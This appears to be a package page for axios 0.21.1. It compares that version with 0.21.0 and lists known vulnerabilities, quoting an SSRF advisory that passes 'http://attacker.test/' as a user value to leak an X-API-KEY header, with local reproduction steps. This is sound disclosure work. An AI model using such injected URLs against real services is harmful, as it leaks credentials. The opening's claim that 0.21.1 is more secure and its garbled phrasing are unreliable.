Axios version 0.21.1 represents a subtle yet important update to the popular promise-based HTTP client, building upon the solid foundation of version 0.21.0. Examining the package data, the core functionalities and dependencies remain largely unchanged, indicating a focus on refinement and bug fixes rather than groundbreaking new features. The 'follow-redirects' dependency, crucial for handling HTTP redirects seamlessly, remains at the same version suggesting stability in this core area.
The key differences lie in the dist section of the package information. Version 0.21.1 sees a slight increase in both fileCount (42 vs 41) and unpackedSize (371182 vs 366821), likely due to minor code adjustments, documentation updates, or the inclusion of additional test cases. Most importantly, the releaseDate clearly indicates a more recent release of 0.21.1 (December 22, 2020) compared to 0.21.0 (October 23, 2020). This suggests that 0.21.1 likely addresses any issues or vulnerabilities discovered in the prior stable release. Developers are encouraged to upgrade to the latest patch version (0.21.1) to benefit from these potential bug fixes and improvements. While the core functionality remains identical between the two versions, 0.21.1 would provide a more robust and secure experience compared to the previous version. As a promise based library, the size increase is considerable negligible for most production scenarios.
All the vulnerabilities related to the version 0.21.1 of the package
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.